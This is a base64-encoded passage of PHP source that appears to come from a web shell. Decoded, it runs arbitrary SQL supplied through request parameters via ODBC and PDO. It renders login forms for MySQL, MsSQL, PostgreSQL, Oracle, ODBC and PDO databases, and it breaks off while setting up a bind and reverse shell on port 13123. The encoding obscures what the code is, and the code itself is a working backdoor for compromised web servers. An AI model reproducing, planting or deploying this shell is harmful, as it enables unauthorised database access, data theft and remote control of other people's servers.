PiI7CiAgICAgICAgICB9CiAgICAgICAgICBlbHNlICRxX3Jlc3VsdCAuPSAiPHAgc3R5bGU9XCJw YWRkaW5nOjA7bWFyZ2luOjIwcHggNnB4IDAgNnB4O1wiPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7 Jm5ic3A7CiAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJnYXlhXCI+Wzwvc3Bhbj4gZXJyb3Ig PHNwYW4gY2xhc3M9XCJnYXlhXCI+XTwvc3Bhbj48L3A+IjsKICAgICAgICAgIH0KICAgICAgICB9 CiAgICAgIH0KICAgIH0KICAgIGVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ29kYmNjb24nXSkgJiYg KCRjb24gPSBvZGJjX2Nvbm5lY3QoJG9kYmNkc24sJG9kYmN1c2VyLCRvZGJjcGFzcykpKXsKICAg ICAgaWYoaXNzZXQoJF9SRVFVRVNUWydzcWxjb2RlJ10pKXsKICAgICAgICAkc3FscyA9IHNzKCRf UkVRVUVTVFsnc3FsY29kZSddKTsKICAgICAgICAkcXVlcnlzID0gZXhwbG9kZSgiOyIsJHNxbHMp OwoKICAgICAgICBmb3JlYWNoKCRxdWVyeXMgYXMgJHF1ZXJ5KXsKICAgICAgICAgIGlmKHRyaW0o JHF1ZXJ5KSAhPSAiIil7CiAgICAgICAgICAkaGFzaWwgPSBvZGJjX2V4ZWMoJGNvbiwgJHF1ZXJ5 KTsKICAgICAgICAgIGlmKCRoYXNpbCl7CiAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPHAgc3R5 bGU9XCJwYWRkaW5nOjA7bWFyZ2luOjIwcHggNnB4IDAgNnB4O1wiPiIuJHF1ZXJ5LiI7Jm5ic3A7 Jm5ic3A7Jm5ic3A7CiAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPls8L3NwYW4+IG9r IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPl08L3NwYW4+PC9wPgogICAgICAgICAgICA8dGFibGUgY2xh c3M9XCJleHBsb3JlXCIgc3R5bGU9XCJ3aWR0aDo5OSU7XCI+PHRyPiI7CiAgICAgICAgICAgIGZv cigkaT0xOyRpPD1vZGJjX251bV9maWVsZHMoJGhhc2lsKTskaSsrKQogICAgICAgICAgICAgICRx X3Jlc3VsdCAuPSAiPHRoPiIuaHRtbHNwZWNpYWxjaGFycyhvZGJjX2ZpZWxkX25hbWUoJGhhc2ls LCRpKSkuIjwvdGg+IjsKICAgICAgICAgICAgJHFfcmVzdWx0IC49ICI8L3RyPiI7CgogICAgICAg ICAgICB3aGlsZSgkcm93cz1vZGJjX2ZldGNoX2FycmF5KCRoYXNpbCkpewogICAgICAgICAgICAg ICRxX3Jlc3VsdCAuPSAiPHRyPiI7CiAgICAgICAgICAgICAgZm9yZWFjaCgkcm93cyBhcyAkcikK ICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZigkciA9PSAiIikgJGRhdGF6ID0gIiAi OwogICAgICAgICAgICAgICAgZWxzZSAkZGF0YXogPSAkcjsKICAgICAgICAgICAgICAgICRxX3Jl c3VsdCAuPSAiPHRkPiIuaHRtbHNwZWNpYWxjaGFycygkZGF0YXopLiI8L3RkPiI7CiAgICAgICAg ICAgICAgfQogICAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPC90cj4iOwogICAgICAgICAgICB9 CiAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPC90YWJsZT4iOwogICAgICAgICAgfQogICAgICAg ICAgZWxzZSAkcV9yZXN1bHQgLj0gIjxwIHN0eWxlPVwicGFkZGluZzowO21hcmdpbjoyMHB4IDZw eCAwIDZweDtcIj4iLiRxdWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOwogICAgICAgICAgICAgIDxz cGFuIGNsYXNzPVwiZ2F5YVwiPls8L3NwYW4+IGVycm9yIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPl08 L3NwYW4+PC9wPiI7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9ICAgIAogICAgICBlbHNl ICRzcWxzID0gIiI7CgogICAgICAkc19yZXN1bHQgLj0gIiAgPGZvcm0gYWN0aW9uPVwiIiAuICRf U0VSVkVSWydQSFBfU0VMRiddIC4gIj9kYlwiIG1ldGhvZD1cInBvc3RcIj4KICAgICAgICAgIDxp bnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIm9kYmNkc25cIiB2YWx1ZT1cIiIuJG9kYmNkc24u IlwiIC8+CiAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvZGJjdXNlclwi IHZhbHVlPVwiIi4kb2RiY3VzZXIuIlwiIC8+CiAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRl blwiIG5hbWU9XCJvZGJjcGFzc1wiIHZhbHVlPVwiIi4kb2RiY3Bhc3MuIlwiIC8+CiAgICAgICAg ICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+ CiAgICAgICAgICA8dGV4dGFyZWEgaWQ9XCJzcWxjb2RlXCIgbmFtZT1cInNxbGNvZGVcIiBjbGFz cz1cImV2YWxjb2RlXCIgc3R5bGU9XCJoZWlnaHQ6MTBlbTtcIj4iLiRzcWxzLiI8L3RleHRhcmVh PgogICAgICAgICAgPHA+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwib2RiY2NvblwiIGNs YXNzPVwiaW5wdXR6YnV0XCIgdmFsdWU9XCJHbyAhXCIgc3R5bGU9XCJ3aWR0aDoxMjBweDtoZWln aHQ6MzBweDtcIiAvPgogICAgICAgICAgJm5ic3A7Jm5ic3A7U2VwYXJhdGUgbXVsdGlwbGUgY29t bWFuZHMgd2l0aCBhIHNlbWljb2xvbiAgPHNwYW4gY2xhc3M9XCJnYXlhXCI+Wzwvc3Bhbj4gOyA8 c3BhbiBjbGFzcz1cImdheWFcIj5dPC9zcGFuPjwvcD4KICAgICAgICAgIDwvZm9ybT4iOwogICAg ICAkc19yZXN1bHQgLj0gIjxkaXY+Ii4kcV9yZXN1bHQuIjwvZGl2PiI7CiAgICAgIGlmKCRjb24p IG9kYmNfY2xvc2UoJGNvbik7CiAgICB9CiAgICBlbHNlewogICAgICBpZihpc3NldCgkX1JFUVVF U1RbJ3Bkb2NvbiddKSl7CiAgICAgICAgdHJ5ewogICAgICAgICAgLy8gY3JlYXRlIG9iamVjdAog ICAgICAgICAgJG15cGRvID0gbmV3IFBETygkcGRvZHNuLCRwZG91c2VyLCRwZG9wYXNzKTsgICAg CiAgICAgICAgICBpZihpc3NldCgkX1JFUVVFU1RbJ3NxbGNvZGUnXSkpewogICAgICAgICAgICAk c3FscyA9IHNzKCRfUkVRVUVTVFsnc3FsY29kZSddKTsKICAgICAgICAgICAgJHF1ZXJ5cyA9IGV4 cGxvZGUoIjsiLCRzcWxzKTsKCiAgICAgICAgICAgIGZvcmVhY2goJHF1ZXJ5cyBhcyAkcXVlcnkp ewogICAgICAgICAgICAgIGlmKHRyaW0oJHF1ZXJ5KSAhPSAiIil7CgogICAgICAgICAgICAgICAg aWYoJGhhc2lsID0gJG15cGRvLT5xdWVyeSgkcXVlcnkpKXsKICAgICAgICAgICAgICAgICAgJHFf cmVzdWx0IC49ICI8cCBzdHlsZT1cInBhZGRpbmc6MDttYXJnaW46MjBweCA2cHggMCA2cHg7XCI+ Ii4kcXVlcnkuIjsmbmJzcDsmbmJzcDsmbmJzcDsKICAgICAgICAgICAgICAgICAgPHNwYW4gY2xh c3M9XCJnYXlhXCI+Wzwvc3Bhbj4gb2sgPHNwYW4gY2xhc3M9XCJnYXlhXCI+XTwvc3Bhbj48L3A+ CiAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cImV4cGxvcmVcIiBzdHlsZT1cIndpZHRo Ojk5JTtcIj48dHI+IjsKICAgICAgICAgICAgICAgICAgLy8gd29ya2Fyb3VuZCB0byBnZXQgY29s dW1uIG5hbWUKICAgICAgICAgICAgICAgICAgJHIgPSAkaGFzaWwtPmZldGNoKFBETzo6RkVUQ0hf QVNTT0MpOwogICAgICAgICAgICAgICAgICAkc2F2ZWZpcnN0cm93ID0gYXJyYXkoKTsKICAgICAg ICAgICAgICAgICAgZm9yZWFjaCgkciBhcyAkZm49PiRmdil7CiAgICAgICAgICAgICAgICAgICAg JHFfcmVzdWx0IC49ICI8dGg+Ii5odG1sc3BlY2lhbGNoYXJzKCRmbikuIjwvdGg+IjsKICAgICAg ICAgICAgICAgICAgICAkc2F2ZWZpcnN0cm93W10gPSAkZnY7CiAgICAgICAgICAgICAgICAgIH0K ICAgICAgICAgICAgICAgICAgJHFfcmVzdWx0IC49ICI8L3RyPjx0cj4iOwogICAgICAgICAgICAg ICAgICBmb3JlYWNoKCRzYXZlZmlyc3Ryb3cgYXMgJGZ2KXsKICAgICAgICAgICAgICAgICAgICAk cV9yZXN1bHQgLj0gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoJGZ2KS4iPC90ZD4iOwogICAgICAg ICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPC90cj4iOwogICAg ICAgICAgICAgICAgICB3aGlsZSgkcm93cyA9ICRoYXNpbC0+ZmV0Y2goUERPOjpGRVRDSF9BU1NP QykpewogICAgICAgICAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPHRyPiI7CiAgICAgICAgICAg ICAgICAgICAgZm9yZWFjaCgkcm93cyBhcyAkcikKICAgICAgICAgICAgICAgICAgICB7CiAgICAg ICAgICAgICAgICAgICAgICBpZigkciA9PSAiIikgJGRhdGF6ID0gIiAiOwogICAgICAgICAgICAg ICAgICAgICAgZWxzZSAkZGF0YXogPSAkcjsKICAgICAgICAgICAgICAgICAgICAgICRxX3Jlc3Vs dCAuPSAiPHRkPiIuaHRtbHNwZWNpYWxjaGFycygkZGF0YXopLiI8L3RkPiI7CiAgICAgICAgICAg ICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPC90cj4iOwogICAg ICAgICAgICAgICAgICB9ICAKICAgICAgICAgICAgICAgICAgJHFfcmVzdWx0IC49ICI8L3RhYmxl PiI7ICAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2V7CgogICAgICAgICAg ICAgICAgICAkcV9yZXN1bHQgLj0gIjxwIHN0eWxlPVwicGFkZGluZzowO21hcmdpbjoyMHB4IDZw eCAwIDZweDtcIj4iLiRxdWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOwogICAgICAgICAgICAgICAg ICAgICAgPHNwYW4gY2xhc3M9XCJnYXlhXCI+Wzwvc3Bhbj4gZXJyb3IgPHNwYW4gY2xhc3M9XCJn YXlhXCI+XTwvc3Bhbj48L3A+IjsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAk cV9yZXN1bHQgLj0gIjwvdGFibGU+IjsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAg ICAgICAgIH0gICAgCiAgICAgICAgICBlbHNlICRzcWxzID0gIiI7CgogICAgICAgICAgJHNfcmVz dWx0IC49ICIgIDxmb3JtIGFjdGlvbj1cIiIgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICI/ZGJc IiBtZXRob2Q9XCJwb3N0XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFt ZT1cInBkb2RzblwiIHZhbHVlPVwiIi4kcGRvZHNuLiJcIiAvPgogICAgICAgICAgICA8aW5wdXQg dHlwZT1cImhpZGRlblwiIG5hbWU9XCJwZG91c2VyXCIgdmFsdWU9XCIiLiRwZG91c2VyLiJcIiAv PgogICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwZG9wYXNzXCIgdmFs dWU9XCIiLiRwZG9wYXNzLiJcIiAvPgogICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwi IG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICAgICAgICAgIDx0ZXh0YXJlYSBp ZD1cInNxbGNvZGVcIiBuYW1lPVwic3FsY29kZVwiIGNsYXNzPVwiZXZhbGNvZGVcIiBzdHlsZT1c ImhlaWdodDoxMGVtO1wiPiIuJHNxbHMuIjwvdGV4dGFyZWE+CiAgICAgICAgICAgIDxwPjxpbnB1 dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInBkb2NvblwiIGNsYXNzPVwiaW5wdXR6YnV0XCIgdmFs dWU9XCJHbyAhXCIgc3R5bGU9XCJ3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDtcIiAvPgogICAgICAg ICAgICAmbmJzcDsmbmJzcDtTZXBhcmF0ZSBtdWx0aXBsZSBjb21tYW5kcyB3aXRoIGEgc2VtaWNv bG9uICA8c3BhbiBjbGFzcz1cImdheWFcIj5bPC9zcGFuPiA7IDxzcGFuIGNsYXNzPVwiZ2F5YVwi Pl08L3NwYW4+PC9wPgogICAgICAgICAgICA8L2Zvcm0+IjsKICAgICAgICAgICAgJHNfcmVzdWx0 IC49ICI8ZGl2PiIuJHFfcmVzdWx0LiI8L2Rpdj4iOyAgICAgICAgCiAgICAgICAgfSAgCiAgICAg ICAgY2F0Y2ggKFBET0V4Y2VwdGlvbiAkdWNrKSB7CiAgICAgICAgICBkaWUoKTsKICAgICAgICB9 ICAgICAgCiAgICAgIH0KICAgICAgZWxzZXsKICAgICAgICAvLyBteXNxbAogICAgICAgICRzX3Jl c3VsdCAuPSAiPGRpdiBjbGFzcz1cIm15Ym94XCI+PGgyPmNvbm5lY3QgdG8gTXlTUUw8L2gyPgog ICAgICAgIDxmb3JtIGFjdGlvbj1cIiIgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICI/ZGJcIiBt ZXRob2Q9XCJwb3N0XCIgLz4KICAgICAgICA8dGFibGUgY2xhc3M9XCJteWJveHRibFwiPgogICAg ICAgIDx0cj48dGQgc3R5bGU9XCJ3aWR0aDoxMjBweDtcIj5Ib3N0PC90ZD48dGQ+PGlucHV0IHN0 eWxlPVwid2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1c InNxbGhvc3QxXCIgdmFsdWU9XCIiLiRzcWxob3N0MS4iXCIgLz48L3RkPjwvdHI+CiAgICAgICAg PHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMCU7XCIgY2xh c3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWx1c2VyMVwiIHZhbHVlPVwiIi4k c3FsdXNlcjEuIlwiIC8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0 ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInBh c3N3b3JkXCIgbmFtZT1cInNxbHBhc3MxXCIgdmFsdWU9XCJcIiAvPjwvdGQ+PC90cj4KICAgICAg ICA8dHI+PHRkPlBvcnQgKG9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCBzdHlsZT1cIndpZHRoOjEw MCU7XCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxwb3J0MVwiIHZh bHVlPVwiIi4kc3FscG9ydDEuIlwiIC8+PC90ZD48L3RyPgogICAgICAgIDwvdGFibGU+CiAgICAg ICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwibXlzcWxjb25cIiBjbGFzcz1cImlucHV0 emJ1dFwiIHZhbHVlPVwiQ29ubmVjdCAhXCIgc3R5bGU9XCJ3aWR0aDoxMjBweDtoZWlnaHQ6MzBw eDttYXJnaW46MTBweCAycHggMCAycHg7XCIgLz4KICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC9k aXY+IjsKICAgICAgICAvLyBtc3NxbAogICAgICAgICRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz1c Im15Ym94XCI+PGgyPmNvbm5lY3QgdG8gTXNTUUw8L2gyPgogICAgICAgIDxmb3JtIGFjdGlvbj1c IiIgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSAuICI/ZGJcIiBtZXRob2Q9XCJwb3N0XCIgLz4KICAg ICAgICA8dGFibGUgY2xhc3M9XCJteWJveHRibFwiPgogICAgICAgIDx0cj48dGQgc3R5bGU9XCJ3 aWR0aDoxMjBweDtcIj5Ib3N0PC90ZD48dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwJTtcIiBj bGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbGhvc3QyXCIgdmFsdWU9XCIi LiRzcWxob3N0Mi4iXCIgLz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+ PHRkPjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMCU7XCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwi dGV4dFwiIG5hbWU9XCJzcWx1c2VyMlwiIHZhbHVlPVwiIi4kc3FsdXNlcjIuIlwiIC8+PC90ZD48 L3RyPgogICAgICAgIDx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0 aDoxMDAlO1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInBhc3N3b3JkXCIgbmFtZT1cInNxbHBh c3MyXCIgdmFsdWU9XCJcIiAvPjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkPlBvcnQgKG9wdGlv bmFsKTwvdGQ+PHRkPjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMCU7XCIgY2xhc3M9XCJpbnB1dHpc IiB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxwb3J0MlwiIHZhbHVlPVwiIi4kc3FscG9ydDIuIlwi IC8+PC90ZD48L3RyPgogICAgICAgIDwvdGFibGU+CiAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJt aXRcIiBuYW1lPVwibXNzcWxjb25cIiBjbGFzcz1cImlucHV0emJ1dFwiIHZhbHVlPVwiQ29ubmVj dCAhXCIgc3R5bGU9XCJ3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAy cHg7XCIgLz4KICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC9kaXY+IjsKCiAgICAgICAgLy8gcG9z dGdyZXNxbAogICAgICAgICRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz1cIm15Ym94XCI+PGgyPmNv bm5lY3QgdG8gUG9zdGdyZVNRTDwvaDI+CiAgICAgICAgPGZvcm0gYWN0aW9uPVwiIiAuICRfU0VS VkVSWydQSFBfU0VMRiddIC4gIj9kYlwiIG1ldGhvZD1cInBvc3RcIiAvPgogICAgICAgIDx0YWJs ZSBjbGFzcz1cIm15Ym94dGJsXCI+CiAgICAgICAgPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4 O1wiPkhvc3Q8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNzPVwiaW5w dXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsaG9zdDNcIiB2YWx1ZT1cIiIuJHNxbGhvc3Qz LiJcIiAvPjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkPlVzZXJuYW1lPC90ZD48dGQ+PGlucHV0 IHN0eWxlPVwid2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFt ZT1cInNxbHVzZXIzXCIgdmFsdWU9XCIiLiRzcWx1c2VyMy4iXCIgLz48L3RkPjwvdHI+CiAgICAg ICAgPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMCU7XCIg Y2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwicGFzc3dvcmRcIiBuYW1lPVwic3FscGFzczNcIiB2YWx1 ZT1cIlwiIC8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQ+UG9ydCAob3B0aW9uYWwpPC90ZD48 dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0 ZXh0XCIgbmFtZT1cInNxbHBvcnQzXCIgdmFsdWU9XCIiLiRzcWxwb3J0My4iXCIgLz48L3RkPjwv dHI+CiAgICAgICAgPC90YWJsZT4KICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9 XCJwZ3NxbGNvblwiIGNsYXNzPVwiaW5wdXR6YnV0XCIgdmFsdWU9XCJDb25uZWN0ICFcIiBzdHls ZT1cIndpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDtcIiAvPgog ICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cIiIuJHB3ZC4i XCIgLz4KICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC9kaXY+IjsKCiAgICAgICAgLy8gb3JhY2xl CiAgICAgICAgJHNfcmVzdWx0IC49ICI8ZGl2IGNsYXNzPVwibXlib3hcIj48aDI+Y29ubmVjdCB0 byBPcmFjbGU8L2gyPgogICAgICAgIDxmb3JtIGFjdGlvbj1cIiIgLiAkX1NFUlZFUlsnUEhQX1NF TEYnXSAuICI/ZGJcIiBtZXRob2Q9XCJwb3N0XCIgLz4KICAgICAgICA8dGFibGUgY2xhc3M9XCJt eWJveHRibFwiPgogICAgICAgIDx0cj48dGQgc3R5bGU9XCJ3aWR0aDoxMjBweDtcIj5Ib3N0PC90 ZD48dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9 XCJ0ZXh0XCIgbmFtZT1cInNxbGhvc3Q0XCIgdmFsdWU9XCIiLiRzcWxob3N0NC4iXCIgLz48L3Rk PjwvdHI+CiAgICAgICAgPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPjxpbnB1dCBzdHlsZT1cIndp ZHRoOjEwMCU7XCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWx1c2Vy NFwiIHZhbHVlPVwiIi4kc3FsdXNlcjQuIlwiIC8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQ+ UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNzPVwiaW5w dXR6XCIgdHlwZT1cInBhc3N3b3JkXCIgbmFtZT1cInNxbHBhc3M0XCIgdmFsdWU9XCJcIiAvPjwv dGQ+PC90cj4KICAgICAgICA8dHI+PHRkPlBvcnQgKG9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCBz dHlsZT1cIndpZHRoOjEwMCU7XCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9 XCJzcWxwb3J0NFwiIHZhbHVlPVwiIi4kc3FscG9ydDQuIlwiIC8+PC90ZD48L3RyPgogICAgICAg IDwvdGFibGU+CiAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwib3JhY2xlY29u XCIgY2xhc3M9XCJpbnB1dHpidXRcIiB2YWx1ZT1cIkNvbm5lY3QgIVwiIHN0eWxlPVwid2lkdGg6 MTIwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjEwcHggMnB4IDAgMnB4O1wiIC8+CiAgICAgICAgPGlu cHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAg ICAgIDwvZm9ybT4KICAgICAgICA8L2Rpdj4iOwoKICAgICAgICAvLyBvZGJjCiAgICAgICAgJHNf cmVzdWx0IC49ICI8ZGl2IGNsYXNzPVwibXlib3hcIj48aDI+Y29ubmVjdCB1c2luZyBPREJDPC9o Mj4KICAgICAgICA8Zm9ybSBhY3Rpb249XCIiIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAiP2Ri XCIgbWV0aG9kPVwicG9zdFwiIC8+CiAgICAgICAgPHRhYmxlIGNsYXNzPVwibXlib3h0YmxcIj4K ICAgICAgICA8dHI+PHRkIHN0eWxlPVwid2lkdGg6MTIwcHg7XCI+RFNOIC8gQ29ubmVjdGlvbiBT dHJpbmc8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNzPVwiaW5wdXR6 XCIgdHlwZT1cInRleHRcIiBuYW1lPVwib2RiY2RzblwiIHZhbHVlPVwiIi4kb2RiY2Rzbi4iXCIg Lz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPjxpbnB1dCBzdHls ZT1cIndpZHRoOjEwMCU7XCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJv ZGJjdXNlclwiIHZhbHVlPVwiIi4kb2RiY3VzZXIuIlwiIC8+PC90ZD48L3RyPgogICAgICAgIDx0 cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNz PVwiaW5wdXR6XCIgdHlwZT1cInBhc3N3b3JkXCIgbmFtZT1cIm9kYmNwYXNzXCIgdmFsdWU9XCJc IiAvPjwvdGQ+PC90cj4KICAgICAgICA8L3RhYmxlPgogICAgICAgIDxpbnB1dCB0eXBlPVwic3Vi bWl0XCIgbmFtZT1cIm9kYmNjb25cIiBjbGFzcz1cImlucHV0emJ1dFwiIHZhbHVlPVwiQ29ubmVj dCAhXCIgc3R5bGU9XCJ3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAy cHg7XCIgLz4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9 XCIiLiRwd2QuIlwiIC8+CiAgICAgICAgPC9mb3JtPgogICAgICAgIDwvZGl2PiI7CgogICAgICAg IC8vIHBkbwogICAgICAgICRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz1cIm15Ym94XCI+PGgyPmNv bm5lY3QgdXNpbmcgUERPPC9oMj4KICAgICAgICA8Zm9ybSBhY3Rpb249XCIiIC4gJF9TRVJWRVJb J1BIUF9TRUxGJ10gLiAiP2RiXCIgbWV0aG9kPVwicG9zdFwiIC8+CiAgICAgICAgPHRhYmxlIGNs YXNzPVwibXlib3h0YmxcIj4KICAgICAgICA8dHI+PHRkIHN0eWxlPVwid2lkdGg6MTIwcHg7XCI+ RFNOIC8gQ29ubmVjdGlvbiBTdHJpbmc8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAl O1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwicGRvZHNuXCIgdmFsdWU9 XCIiLiRwZG9kc24uIlwiIC8+PC90ZD48L3RyPgogICAgICAgIDx0cj48dGQ+VXNlcm5hbWU8L3Rk Pjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1c InRleHRcIiBuYW1lPVwicGRvdXNlclwiIHZhbHVlPVwiIi4kcGRvdXNlci4iXCIgLz48L3RkPjwv dHI+CiAgICAgICAgPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT1cIndpZHRo OjEwMCU7XCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwicGFzc3dvcmRcIiBuYW1lPVwicGRvcGFz c1wiIHZhbHVlPVwiXCIgLz48L3RkPjwvdHI+CiAgICAgICAgPC90YWJsZT4KICAgICAgICA8aW5w dXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJwZG9jb25cIiBjbGFzcz1cImlucHV0emJ1dFwiIHZh bHVlPVwiQ29ubmVjdCAhXCIgc3R5bGU9XCJ3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46 MTBweCAycHggMCAycHg7XCIgLz4KICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9 XCJkXCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICAgICAgPC9mb3JtPgogICAgICAgIDwvZGl2 PiI7CiAgICAgIH0KICAgIH0KICB9IC8vIGJpbmQgYW5kIHJldmVyc2Ugc2hlbGwKICBlbHNlaWYo aXNzZXQoJF9SRVFVRVNUWydycyddKSl7CiAgICAkcnNob3N0ID0gJHNfc2VydmVyX2lwOwogICAg JHJzdGFyZ2V0ID0gIiI7CiAgICAkZCA9ICRwd2Q7CiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ2Qn XSkpICRkID0gc3MoJF9SRVFVRVNUWydkJ10pOwoKICAgICRyc3BvcnQgPSAiMTMxMjMiOwogICAg Ly8gcmVzb3VyY2VzICR4YmFja19wbCAkeGJpbmRfcGwgJHhiYWNrX2MgJHhiaW5kX2MgJHhtdWx0 